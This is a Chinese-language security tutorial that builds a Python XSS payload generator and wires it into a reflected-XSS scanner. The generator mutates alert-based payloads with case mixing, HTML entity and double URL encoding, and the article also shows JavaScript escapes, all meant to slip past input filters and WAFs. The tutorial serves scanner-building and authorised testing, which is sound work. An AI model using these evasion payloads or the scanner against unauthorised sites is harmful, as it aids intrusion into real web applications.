摘要:在本文中,我们将解决XSS扫描器面临的核心挑战:如何绕过Web应用的输入过滤器和WAF(Web应用防火墙)。我们将深入探讨多种经典的绕过技术,包括HTML实体编码URL编码大小写混淆以及JavaScript字符串编码。本文的核心是构建一个“XSS Payload生成器”,它能够接收一个基础的Payload,并自动应用上述“化妆术”,生成一个包含多种编码和混淆变体的Payload列表。将这个生成器集成到我们的扫描引擎中,将使其从一个“天真”的检测器,进化为一个能够试探并突破基础防御的、更具实战能力的攻击工具。

关键词:Python, XSS, WAF绕过, Payload, 编码, 漏洞扫描, Web安全, 过滤器


正文

⚠️ 警告:仅用于授权的教育和安全测试目的

本文及配套代码用于探测真实的安全漏洞。未经授权,对任何线上系统进行漏洞扫描都是违法行为。所有读者必须在自己的本地测试环境或授权的漏洞靶场中使用本文所学知识。

1. 过滤与绕过:一场永恒的攻防战

我们之前构建的XSS扫描器,使用的都是<script>alert('xss')</script>这样“坦诚”的Payload。在真实世界中,这种请求99%的情况下都会被服务器的输入过滤器或WAF直接拦截。

常见的防御手段

  • 关键词黑名单:直接过滤或拦截包含<script>, onerror, javascript:等敏感词的请求。

  • 特殊字符过滤/编码:将<替换为&lt;,将>替换为&gt;,将"替换为&quot;

绕过的核心思想: 找到一种Payload的变形方式,使得这种变形对于过滤器来说是陌生的、安全的,但当它被浏览器解析时,又能被还原成原始的、可执行的恶意代码。

2. Payload“化妆术”:编码与混淆技术

a) 大小写混淆 (Case Mixing) HTML标签和属性名是不区分大小写的。

  • 拦截目标: <script>

  • 绕过Payload: <ScRiPt>, <SCRIPT>

  • 浏览器解析结果: 同样被视为<script>标签。

b) HTML实体编码 (HTML Entity Encoding) 浏览器在解析HTML时,会先将HTML实体编码解码为原始字符。

  • 拦截目标: <img src=x onerror=alert(1)>

  • 绕过Payload (部分编码): <img src=x onerror&#x3d;alert(1)> (将=编码为&#x3d;)

  • 浏览器解析结果: 浏览器看到&#x3d;,会先将其解码为=,然后再执行onerror事件。

c) URL编码 (URL Encoding) 在URL参数中,浏览器和服务器会对URL编码进行解码。

  • 拦截目标: <

  • 绕过Payload: %3c (单次编码), %253c (双次编码,可能绕过某些处理不当的WAF)

d) JavaScript字符串编码 当我们的注入点在JavaScript字符串上下文中时,可以使用JS自身的编码机制。

  • 原始JS: alert('xss')

  • 拦截目标: alert 关键词

  • 绕过Payload (八进制或十六进制): \141\154\145\162\164('xss')\x61\x6c\x65\x72\x74('xss')

  • JS引擎解析结果: 同样执行alert('xss')

3. 代码实现:XSS Payload生成器

我们将创建一个xss_payload_generator.py模块,它包含一系列“篡改函数”。

Python

# xss_payload_generator.py
import random
from urllib.parse import quote

def tamper_case(payload):
    """随机大小写混淆"""
    new_payload = ""
    for char in payload:
        if char.isalpha():
            new_payload += char.upper() if random.choice([True, False]) else char.lower()
        else:
            new_payload += char
    return new_payload

def tamper_html_encode_some(payload):
    """对部分特殊字符进行HTML实体编码"""
    return payload.replace("<", "&#x3c;").replace(">", "&#x3e;").replace("'", "&#x27;").replace('"', "&#x22;")

def tamper_url_encode(payload):
    """对整个Payload进行URL编码"""
    return quote(payload)

def tamper_double_url_encode(payload):
    """对整个Payload进行双重URL编码"""
    return quote(quote(payload))

# 我们的“篡改脚本”库
TAMPER_FUNCTIONS = [
    tamper_case,
    tamper_html_encode_some,
    tamper_url_encode,
    tamper_double_url_encode,
]

# 基础Payloads,用于生成变体
BASE_PAYLOADS = [
    "<script>alert('xss-test-1')</script>",
    "<img src=x onerror=alert('xss-test-2')>",
    "'\"><test-tag onload=alert('xss-test-3')>",
]

def generate_payloads():
    """生成一个包含多种变体的Payload字典"""
    payload_dict = {} # { "注入Payload": "验证字符串" }
    
    for base_payload in BASE_PAYLOADS:
        # 提取用于验证的独特部分
        check_string = "alert('xss-test" if "alert" in base_payload else None
        if not check_string:
             if "test-tag" in base_payload:
                 check_string = "<test-tag"

        if not check_string: continue
        
        # 1. 添加原始Payload
        payload_dict[base_payload] = check_string
        
        # 2. 应用所有篡改函数
        for tamper in TAMPER_FUNCTIONS:
            tampered = tamper(base_payload)
            payload_dict[tampered] = check_string # 验证字符串通常不变
            
    return payload_dict

if __name__ == '__main__':
    all_payloads = generate_payloads()
    print(f"[*] 共生成 {len(all_payloads)} 个Payload变体。示例:")
    for i, (p, c) in enumerate(list(all_payloads.items())[:5]):
        print(f"  {i+1}. Payload: {p[:60]}...")
        print(f"     Check for: {c}")

4. 集成到扫描引擎

现在,我们将这个强大的生成器,集成到我们上一篇文章的xss_scanner.py中。

修改后的xss_scanner.py (核心部分)

Python

# xss_scanner.py
# ... (导入 argparse, requests, sys, urllib.parse) ...
from xss_payload_generator import generate_payloads # <-- 导入我们的生成器

def scan_reflected_xss(url):
    print(f"[*] 正在对URL进行反射型XSS扫描: {url}")
    
    # --- !! 修改点 !! ---
    # 不再使用静态列表,而是动态生成
    payload_dict = generate_payloads()
    print(f"[*] 已加载 {len(payload_dict)} 个Payload变体进行测试...")

    is_vulnerable = False
    parsed_url = urlparse(url)
    params = parse_qs(parsed_url.query)
    # ... (和之前一样,检查是否有参数) ...

    # 遍历所有GET参数
    for param in params:
        original_value = params[param][0]
        
        # --- !! 修改点 !! ---
        # 遍历动态生成的Payload字典
        for payload, check_string in payload_dict.items():
            test_params = params.copy()
            # 在原始值后附加payload
            test_params[param] = original_value + payload
            
            query = urlencode(test_params, doseq=True)
            test_url = urlunparse(parsed_url._replace(query=query))
            
            try:
                response = requests.get(test_url, timeout=5)
                
                # 使用 unquote 来处理响应中可能被编码的部分
                # 注意:这是一个简化处理,真实情况更复杂
                response_text = unquote(response.text)
                
                if check_string in response_text:
                    print("\n[+] 高危: 检测到潜在的反射型XSS漏洞!")
                    print(f"    - 目标URL: {url}")
                    print(f"    - 影响参数: {param}")
                    print(f"    - 成功Payload: {payload}")
                    is_vulnerable = True
                    # 可以在这里break,也可以继续测试以发现更多向量
            except requests.RequestException:
                pass
    
    # ... (和之前一样的总结输出) ...

# ... (main函数) ...

总结

通过引入Payload生成和编码技术,我们的XSS扫描引擎的“智商”和“成功率”都得到了显著提升。它不再是只会“直拳”的莽夫,而是学会了“组合拳”和“假动作”的格斗家。这个“基础Payload + 篡改函数库 = 多样化攻击向量”的设计思想,是所有专业级Web扫描器(如Burp Suite Intruder, SQLMap Tamper Scripts)的核心。

然而,盲目地尝试所有Payload组合仍然是低效的。一个更顶级的扫描器,应该能先“侦察”出目标具体使用了哪种过滤器(例如,是过滤了<script>还是过滤了onclick?),然后再“量身定制”最有可能成功的绕过Payload。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐